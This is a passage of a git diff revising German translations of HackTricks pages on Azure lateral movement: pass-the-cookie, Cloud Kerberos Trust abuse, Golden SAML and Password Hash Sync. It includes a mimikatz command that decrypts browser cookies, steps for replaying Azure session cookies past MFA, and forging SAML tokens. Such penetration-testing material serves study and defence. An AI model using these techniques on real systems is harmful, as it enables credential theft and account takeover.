erneut zu verwenden, um das PRT eines anderen Benutzers zu erhalten. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index a11e6fd55..4055af38a 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,9 +4,9 @@ ## Warum Cookies? -Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung und MFA zu umgehen**. Da der Benutzer sich bereits in der Anwendung authentifiziert hat, kann das **Session-Cookie** einfach verwendet werden, um **auf Daten** als dieser Benutzer zuzugreifen, ohne sich erneut authentifizieren zu müssen. +Browser **cookies** sind ein großartiger Mechanismus, um **Authentifizierung und MFA zu umgehen**. Da der Benutzer bereits in der Anwendung authentifiziert ist, kann das **Session-Cookie** einfach verwendet werden, um **auf Daten** als dieser Benutzer zuzugreifen, ohne sich erneut authentifizieren zu müssen. -Sie können sehen, wo sich **Browser-Cookies befinden** in: +Sie können sehen, wo **Browser-Cookies gespeichert sind** in: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome @@ -14,17 +14,17 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## Angriff -Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt** sind für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in: +Der herausfordernde Teil ist, dass diese **Cookies verschlüsselt sind** für den **Benutzer** über die Microsoft Data Protection API (**DPAPI**). Dies wird mit kryptografischen [Schlüsseln, die an den Benutzer gebunden sind](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), zu dem die Cookies gehören, verschlüsselt. Weitere Informationen dazu finden Sie in: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords {{#endref}} -Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, obwohl sie mit diesem Befehl verschlüsselt sind: +Mit Mimikatz in der Hand kann ich **die Cookies eines Benutzers extrahieren**, auch wenn sie mit diesem Befehl verschlüsselt sind: ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -Für Azure interessieren wir uns für die Authentifizierungscookies, einschließlich **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** und **`ESTSAUTHLIGHT`**. Diese sind vorhanden, weil der Benutzer in letzter Zeit aktiv auf Azure war. +Für Azure sind uns die Authentifizierungscookies wichtig, einschließlich **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** und **`ESTSAUTHLIGHT`**. Diese sind vorhanden, weil der Benutzer in letzter Zeit aktiv auf Azure war. Navigieren Sie einfach zu login.microsoftonline.com und fügen Sie das Cookie **`ESTSAUTHPERSISTENT`** (generiert durch die Option „Angemeldet bleiben“) oder **`ESTSAUTH`** hinzu. Und Sie werden authentifiziert. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index c33db6815..42660ef1d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -8,27 +8,27 @@ ### Vertrauen -Wenn ein Vertrauen mit Azure AD hergestellt wird, wird ein **Read Only Domain Controller (RODC) im AD erstellt.** Das **RODC-Computer-Konto** heißt **`AzureADKerberos$`**. Außerdem gibt es ein sekundäres `krbtgt`-Konto mit dem Namen **`krbtgt_AzureAD`**. Dieses Konto enthält die **Kerberos-Schlüssel**, die für Tickets verwendet werden, die Azure AD erstellt. +Wenn ein Vertrauen mit Azure AD hergestellt wird, wird ein **Read Only Domain Controller (RODC) im AD erstellt.** Der **RODC-Computeraccount** heißt **`AzureADKerberos$`**. Außerdem gibt es ein sekundäres `krbtgt`-Konto mit dem Namen **`krbtgt_AzureAD`**. Dieses Konto enthält die **Kerberos-Schlüssel**, die für Tickets verwendet werden, die Azure AD erstellt. -Daher, wenn dieses Konto kompromittiert wird, könnte es möglich sein, sich als jeder Benutzer auszugeben... obwohl dies nicht zutrifft, da dieses Konto daran gehindert wird, Tickets für beliebige gängige privilegierte AD-Gruppen wie Domain Admins, Enterprise Admins, Administrators... zu erstellen. +Daher könnte es, wenn dieses Konto kompromittiert wird, möglich sein, sich als jeder Benutzer auszugeben... obwohl dies nicht zutrifft, da dieses Konto daran gehindert wird, Tickets für gängige privilegierte AD-Gruppen wie Domain Admins, Enterprise Admins, Administrators... zu erstellen. > [!CAUTION] -> In einem realen Szenario wird es jedoch privilegierte Benutzer geben, die nicht in diesen Gruppen sind. Das **neue krbtgt-Konto, wenn es kompromittiert wird, könnte verwendet werden, um sich als diese auszugeben.** +> In einem realen Szenario wird es jedoch privilegierte Benutzer geben, die nicht in diesen Gruppen sind. Das **neue krbtgt-Konto könnte, wenn es kompromittiert wird, verwendet werden, um sich als diese auszugeben.** ### Kerberos TGT -Darüber hinaus, wenn sich ein Benutzer unter Windows mit einer hybriden Identität authentifiziert, wird **Azure AD ein partielles Kerberos-Ticket zusammen mit dem PRT ausstellen.** Das TGT ist partiell, weil **AzureAD nur begrenzte Informationen** über den Benutzer im lokalen AD hat (wie die Sicherheitskennung (SID) und den Namen).\ +Darüber hinaus wird, wenn sich ein Benutzer unter Windows mit einer hybriden Identität authentifiziert, **Azure AD** ein **teilweises Kerberos-Ticket zusammen mit dem PRT ausstellen.** Das TGT ist teilweise, weil **AzureAD nur begrenzte Informationen** über den Benutzer im lokalen AD hat (wie die Sicherheitskennung (SID) und den Namen).\ Windows kann dann **dieses partielle TGT gegen ein vollständiges TGT eintauschen**, indem es ein Serviceticket für den `krbtgt`-Dienst anfordert. ### NTLM -Da es Dienste geben könnte, die keine Kerberos-Authentifizierung, sondern NTLM unterstützen, ist es möglich, ein **partielles TGT anzufordern, das mit einem sekundären `krbtgt`**-Schlüssel signiert ist, indem das **`KERB-KEY-LIST-REQ`**-Feld im **PADATA**-Teil der Anfrage enthalten ist, und dann ein vollständiges TGT zu erhalten, das mit dem primären `krbtgt`-Schlüssel **einschließlich des NT-Hashes in der Antwort** signiert ist. +Da es Dienste geben könnte, die keine Kerberos-Authentifizierung, sondern NTLM unterstützen, ist es möglich, ein **partielles TGT zu beantragen, das mit einem sekundären `krbtgt`**-Schlüssel signiert ist, indem das **`KERB-KEY-LIST-REQ`**-Feld im **PADATA**-Teil der Anfrage enthalten ist, und dann ein vollständiges TGT zu erhalten, das mit dem primären `krbtgt`-Schlüssel **einschließlich des NT-Hashes in der Antwort** signiert ist. ## Missbrauch von Cloud Kerberos Trust zur Erlangung von Domain Admin -Wenn AzureAD ein **partielles TGT** generiert, verwendet es die Details, die es über den Benutzer hat. Daher, wenn ein Global Admin Daten wie die **Sicherheitskennung und den Namen des Benutzers in AzureAD** ändern könnte, wäre die **Sicherheitskennung bei der Anforderung eines TGT für diesen Benutzer eine andere**. +Wenn AzureAD ein **partielles TGT** generiert, verwendet es die Details, die es über den Benutzer hat. Daher könnte, wenn ein Global Admin Daten wie die **Sicherheitskennung und den Namen des Benutzers in AzureAD** ändern könnte, bei der Anforderung eines TGT für diesen Benutzer die **Sicherheitskennung eine andere sein**. -Es ist nicht möglich, dies über die Microsoft Graph oder die Azure AD Graph zu tun, aber es ist möglich, die **API zu verwenden, die Active Directory Connect** verwendet, um synchronisierte Benutzer zu erstellen und zu aktualisieren, die von den Global Admins verwendet werden kann, um **den SAM-Namen und die SID eines beliebigen hybriden Benutzers zu ändern**, und dann, wenn wir uns authentifizieren, erhalten wir ein partielles TGT, das die geänderte SID enthält. +Es ist nicht möglich, dies über die Microsoft Graph oder die Azure AD Graph zu tun, aber es ist möglich, die **API zu verwenden, die Active Directory Connect** verwendet, um synchronisierte Benutzer zu erstellen und zu aktualisieren, die von den Global Admins verwendet werden kann, um **den SAM-Namen und die SID eines hybriden Benutzers zu ändern**, und dann, wenn wir uns authentifizieren, erhalten wir ein partielles TGT, das die geänderte SID enthält. Beachten Sie, dass wir dies mit AADInternals tun können und synchronisierte Benutzer über das [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) Cmdlet aktualisieren können. @@ -36,11 +36,11 @@ Beachten Sie, dass wir dies mit AADInternals tun können und synchronisierte Ben Der Erfolg des Angriffs und die Erlangung von Domain Admin-Rechten hängen von der Erfüllung bestimmter Voraussetzungen ab: -- Die Fähigkeit, Konten über die Synchronisierungs-API zu ändern, ist entscheidend. Dies kann erreicht werden, indem man die Rolle des Global Admin hat oder ein AD Connect-Synchronisationskonto besitzt. Alternativ würde die Rolle des Hybrid Identity Administrators ausreichen, da sie die Möglichkeit bietet, AD Connect zu verwalten und neue Synchronisationskonten zu erstellen. -- Das Vorhandensein eines **hybriden Kontos** ist unerlässlich. Dieses Konto muss für die Änderung mit den Details des Opferkontos geeignet sein und sollte auch für die Authentifizierung zugänglich sein. -- Die Identifizierung eines **Zielopferkontos** innerhalb des Active Directory ist notwendig. Obwohl der Angriff auf jedes bereits synchronisierte Konto ausgeführt werden kann, darf der Azure AD-Mandant keine replizierten lokalen Sicherheitskennungen haben, was die Änderung eines nicht synchronisierten Kontos erforderlich macht, um das Ticket zu beschaffen. +- Die Fähigkeit, Konten über die Synchronisierungs-API zu ändern, ist entscheidend. Dies kann erreicht werden, indem man die Rolle des Global Admin hat oder über ein AD Connect-Synchronisationskonto verfügt. Alternativ würde die Rolle des Hybrid Identity Administrators ausreichen, da sie die Möglichkeit bietet, AD Connect zu verwalten und neue Synchronisationskonten zu erstellen. +- Das Vorhandensein eines **hybriden Kontos** ist unerlässlich. Dieses Konto muss für die Modifikation mit den Details des Opferkontos geeignet sein und sollte auch für die Authentifizierung zugänglich sein. +- Die Identifizierung eines **Zielopferkontos** innerhalb des Active Directory ist notwendig. Obwohl der Angriff auf jedes bereits synchronisierte Konto ausgeführt werden kann, darf der Azure AD-Mandant keine replizierten lokalen Sicherheitskennungen haben, was die Modifikation eines nicht synchronisierten Kontos erforderlich macht, um das Ticket zu beschaffen. - Darüber hinaus sollte dieses Konto über gleichwertige Domain-Admin-Rechte verfügen, darf jedoch kein Mitglied typischer AD-Administratorgruppen sein, um die Generierung ungültiger TGTs durch den AzureAD RODC zu vermeiden. -- Das am besten geeignete Ziel ist das **Active Directory-Konto, das vom AD Connect Sync-Dienst verwendet wird**. Dieses Konto wird nicht mit Azure AD synchronisiert, wodurch seine SID ein viables Ziel bleibt, und es hat aufgrund seiner Rolle bei der Synchronisierung von Passwort-Hashes (vorausgesetzt, Password Hash Sync ist aktiv) von Natur aus gleichwertige Domain-Admin-Rechte. Für Domänen mit Express-Installation wird dieses Konto mit **MSOL\_** vorangestellt. In anderen Fällen kann das Konto ermittelt werden, indem alle Konten mit Verzeichnisreplikationsrechten auf dem Domänenobjekt aufgelistet werden. +- Das am besten geeignete Ziel ist das **Active Directory-Konto, das vom AD Connect Sync-Dienst verwendet wird**. Dieses Konto wird nicht mit Azure AD synchronisiert, wodurch seine SID ein viables Ziel darstellt, und es hat aufgrund seiner Rolle bei der Synchronisierung von Passwort-Hashes (vorausgesetzt, die Passwort-Hash-Synchronisierung ist aktiv) von Natur aus gleichwertige Domain-Admin-Rechte. Für Domänen mit Express-Installation wird dieses Konto mit **MSOL\_** vorangestellt. In anderen Fällen kann das Konto ermittelt werden, indem alle Konten aufgelistet werden, die über Verzeichnisreplikationsrechte auf dem Domänenobjekt verfügen. ### Der vollständige Angriff diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index 3308e1d15..9da935ef7 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -1,9 +1,9 @@ -# Az - Default Applications +# Az - Standardanwendungen {{#include ../../../../banners/hacktricks-training.md}} **Überprüfen Sie die Technik in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) und [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -Der Blogbeitrag behandelt eine Privilegieneskalationsanfälligkeit in Azure AD, die es Anwendungsadministratoren oder kompromittierten On-Premise-Sync-Konten ermöglicht, Privilegien zu eskalieren, indem sie Anmeldedaten Anwendungen zuweisen. Die Anfälligkeit, die sich aus dem "by-design"-Verhalten von Azure AD im Umgang mit Anwendungen und Dienstprinzipalen ergibt, betrifft insbesondere die standardmäßigen Office 365-Anwendungen. Obwohl gemeldet, wird das Problem von Microsoft aufgrund der Dokumentation des Verhaltens bei der Zuweisung von Administratorrechten nicht als Anfälligkeit betrachtet. Der Beitrag bietet detaillierte technische Einblicke und empfiehlt regelmäßige Überprüfungen der Anmeldedaten von Dienstprinzipalen in Azure AD-Umgebungen. Für detailliertere Informationen können Sie den ursprünglichen Blogbeitrag besuchen. +Der Blogbeitrag behandelt eine Privilegieneskalationsanfälligkeit in Azure AD, die es Anwendungsadministratoren oder kompromittierten On-Premise-Sync-Konten ermöglicht, Privilegien zu eskalieren, indem sie Anmeldedaten Anwendungen zuweisen. Die Anfälligkeit, die sich aus dem "by-design" Verhalten von Azure AD im Umgang mit Anwendungen und Dienstprinzipalen ergibt, betrifft insbesondere die Standardanwendungen von Office 365. Obwohl gemeldet, wird das Problem von Microsoft aufgrund der Dokumentation des Verhaltens bei der Zuweisung von Administratorrechten nicht als Anfälligkeit betrachtet. Der Beitrag bietet detaillierte technische Einblicke und empfiehlt regelmäßige Überprüfungen der Anmeldedaten von Dienstprinzipalen in Azure AD-Umgebungen. Für detailliertere Informationen können Sie den ursprünglichen Blogbeitrag besuchen. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index a087c1c27..1f71aee41 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -6,15 +6,15 @@ [Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** ist eine Sammlung von **Domänen**, die **Vertrauen** etabliert haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise **Authentifizierung** und fast immer **Autorisierung**. Eine typische Föderation könnte eine **Anzahl von Organisationen** umfassen, die **Vertrauen** für **gemeinsamen Zugriff** auf eine Reihe von Ressourcen etabliert haben. -Sie können Ihre **lokale** Umgebung **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen lokal** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar. +Sie können Ihre **On-Premises-Umgebung** **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen vor Ort** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar.
-Im Wesentlichen erfolgt in der Föderation alle **Authentifizierung** in der **lokalen** Umgebung und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **lokalen Anmeldeinformationen** verwenden. +Im Wesentlichen erfolgt in der Föderation die gesamte **Authentifizierung** in der **On-Premises**-Umgebung, und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **Zugriff** auf **Cloud**-Anwendungen mit ihren **On-Premise-Anmeldeinformationen** erhalten. -**Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern **auszutauschen**. +**Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern auszutauschen. -In jeder Föderationskonfiguration gibt es drei Parteien: +In jeder Föderationseinrichtung gibt es drei Parteien: - Benutzer oder Client - Identitätsanbieter (IdP) @@ -27,9 +27,9 @@ In jeder Föderationskonfiguration gibt es drei Parteien: 1. Zunächst wird eine Anwendung (Dienstanbieter oder SP, wie die AWS-Konsole oder der vSphere-Webclient) von einem Benutzer aufgerufen. Dieser Schritt kann umgangen werden, sodass der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung. 2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client an den gewählten IdP weiter. 3. Der IdP übernimmt und authentifiziert den Benutzer. Nach der Authentifizierung wird eine SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet. -4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldevorgangs, sodass der Benutzer den Dienst nutzen kann. +4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was eine Vertrauensbeziehung mit dem IdP impliziert, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldeprozesses, der es dem Benutzer ermöglicht, den Dienst zu nutzen. -**Wenn Sie mehr über SAML-Authentifizierung und gängige Angriffe erfahren möchten, gehen Sie zu:** +**Wenn Sie mehr über SAML-Authentifizierung und häufige Angriffe erfahren möchten, gehen Sie zu:** {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks @@ -37,16 +37,16 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting -- AD FS ist ein auf Ansprüchen basierendes Identitätsmodell. -- "..Ansprüche sind einfach Aussagen (zum Beispiel Name, Identität, Gruppe), die über Benutzer gemacht werden und hauptsächlich zur Autorisierung des Zugriffs auf auf Ansprüchen basierende Anwendungen verwendet werden, die überall im Internet zu finden sind." -- Ansprüche für einen Benutzer werden in den SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten. -- Ein Benutzer wird durch ImmutableID identifiziert. Sie ist global eindeutig und wird in Azure AD gespeichert. -- Die ImmutableID wird lokal als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden. +- AD FS ist ein claims-basiertes Identitätsmodell. +- "..claims sind einfach Aussagen (zum Beispiel Name, Identität, Gruppe), die über Benutzer gemacht werden und hauptsächlich zur Autorisierung des Zugriffs auf claims-basierte Anwendungen verwendet werden, die überall im Internet zu finden sind." +- Ansprüche für einen Benutzer werden innerhalb der SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten. +- Ein Benutzer wird durch ImmutableID identifiziert. Es ist global eindeutig und wird in Azure AD gespeichert. +- Die ImmutableID wird vor Ort als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden. - Weitere Informationen unter [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Golden SAML-Angriff:** -- In ADFS wird die SAML Response von einem Token-Signaturzertifikat signiert. +- In ADFS wird die SAML-Antwort mit einem Token-Signaturzertifikat signiert. - Wenn das Zertifikat kompromittiert ist, ist es möglich, sich als JEDER Benutzer, der mit Azure AD synchronisiert ist, bei Azure AD zu authentifizieren! - Genau wie bei unserem PTA-Missbrauch hat eine Passwortänderung für einen Benutzer oder MFA keine Auswirkungen, da wir die Authentifizierungsantwort fälschen. - Das Zertifikat kann mit DA-Rechten vom AD FS-Server extrahiert werden und kann dann von jedem internetverbundenen Gerät verwendet werden. @@ -56,24 +56,24 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks Der Prozess, bei dem ein **Identitätsanbieter (IdP)** eine **SAMLResponse** zur Autorisierung der Benutzeranmeldung erstellt, ist von entscheidender Bedeutung. Abhängig von der spezifischen Implementierung des IdP kann die **Antwort** **signiert** oder **verschlüsselt** sein, wobei der **private Schlüssel des IdP** verwendet wird. Dieses Verfahren ermöglicht es dem **Dienstanbieter (SP)**, die Authentizität der SAMLResponse zu bestätigen und sicherzustellen, dass sie tatsächlich von einem vertrauenswürdigen IdP ausgestellt wurde. -Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-privater Schlüssel für golden SAML), manipuliert werden kann, um ein **Authentifizierungsobjekt** (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP. +Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-Privatschlüssel für golden SAML), manipuliert werden kann, um ein **Authentifizierungsobjekt** (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP. Golden SAMLs bieten bestimmte Vorteile: - Sie können **remote erstellt** werden, ohne Teil der betreffenden Domäne oder Föderation zu sein. - Sie bleiben auch mit aktivierter **Zwei-Faktor-Authentifizierung (2FA)** wirksam. -- Der Token-Signatur-**private Schlüssel erneuert sich nicht automatisch**. -- **Das Ändern des Passworts eines Benutzers macht eine bereits generierte SAML nicht ungültig**. +- Der Token-Signatur-**Privatschlüssel erneuert sich nicht automatisch**. +- **Ändern eines Benutzerpassworts macht eine bereits generierte SAML nicht ungültig**. #### AWS + AD FS + Golden SAML [Active Directory Federation Services (AD FS)]() ist ein Microsoft-Dienst, der den **sicheren Austausch von Identitätsinformationen** zwischen vertrauenswürdigen Geschäftspartnern (Föderation) erleichtert. Er ermöglicht es im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Föderation zu teilen. -Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel**, der zur Signierung der SAML-Objekte verwendet wird, ähnlich wie beim Bedarf des KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten. +Wenn AWS der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **Privatschlüssel**, der zum Signieren der SAML-Objekte verwendet wird, ähnlich wie beim Bedarf an KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen Privatschlüssel zu erhalten. Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen: -- **Token-Signatur-privater Schlüssel** +- **Token-Signatur-Privatschlüssel** - **IdP-Öffentliches Zertifikat** - **IdP-Name** - **Rollenname (Rolle, die übernommen werden soll)** @@ -83,7 +83,7 @@ Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen: _Nur die fettgedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden._ -Um den **privaten Schlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der private Schlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind: +Um den **Privatschlüssel** zu erwerben, ist der Zugriff auf das **AD FS-Benutzerkonto** erforderlich. Von dort aus kann der Privatschlüssel **aus dem persönlichen Speicher exportiert** werden, indem Tools wie [mimikatz](https://github.com/gentilkiwi/mimikatz) verwendet werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie sicherstellen, dass Sie als ADFS-Benutzer angemeldet sind: ```powershell # From an "AD FS" session # After having exported the key with mimikatz @@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - ```
-### On-prem -> cloud +### On-prem -> Cloud ```powershell # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index c9c5740b2..458327886 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -1,29 +1,29 @@ -# Az - PHS - Password Hash Sync +# Az - PHS - Passwort-Hash-Synchronisierung {{#include ../../../../banners/hacktricks-training.md}} -## Grundlegende Informationen +## Grundinformationen -[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password Hash Synchronization** ist eine der Anmeldemethoden, die verwendet wird, um hybride Identität zu erreichen. **Azure AD Connect** synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz. +[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Passwort-Hash-Synchronisierung** ist eine der Anmeldemethoden, die verwendet wird, um hybride Identität zu erreichen. **Azure AD Connect** synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz.
Es ist die **häufigste Methode**, die von Unternehmen verwendet wird, um ein lokales AD mit Azure AD zu synchronisieren. Alle **Benutzer** und ein **Hash der Passwort-Hashes** werden vom lokalen AD zu Azure AD synchronisiert. Allerdings werden **Klartext-Passwörter** oder die **ursprünglichen** **Hashes** nicht an Azure AD gesendet.\ -Darüber hinaus werden **eingebaute** Sicherheitsgruppen (wie Domänenadministratoren...) **nicht synchronisiert** mit Azure AD. +Darüber hinaus werden **eingebaute** Sicherheitsgruppen (wie Domänenadministratoren...) **nicht mit** Azure AD synchronisiert. -Die **Hash-Synchronisation** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontenablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen** mit dem alten Passwort. +Die **Hash-Synchronisierung** erfolgt alle **2 Minuten**. Standardmäßig werden jedoch **Passwortablauf** und **Kontenablauf** **nicht synchronisiert** in Azure AD. Ein Benutzer, dessen **lokales Passwort abgelaufen ist** (nicht geändert), kann weiterhin **auf Azure-Ressourcen zugreifen** mit dem alten Passwort. Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt die **Authentifizierung in Azure AD**. -**PHS** ist erforderlich für Funktionen wie **Identity Protection** und AAD-Domänendienste. +**PHS** ist erforderlich für Funktionen wie **Identitätsschutz** und AAD-Domänendienste. ## Pivotierung Wenn PHS konfiguriert ist, werden einige **privilegierte Konten** automatisch **erstellt**: -- Das Konto **`MSOL_`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine **Directory Synchronization Accounts**-Rolle (siehe 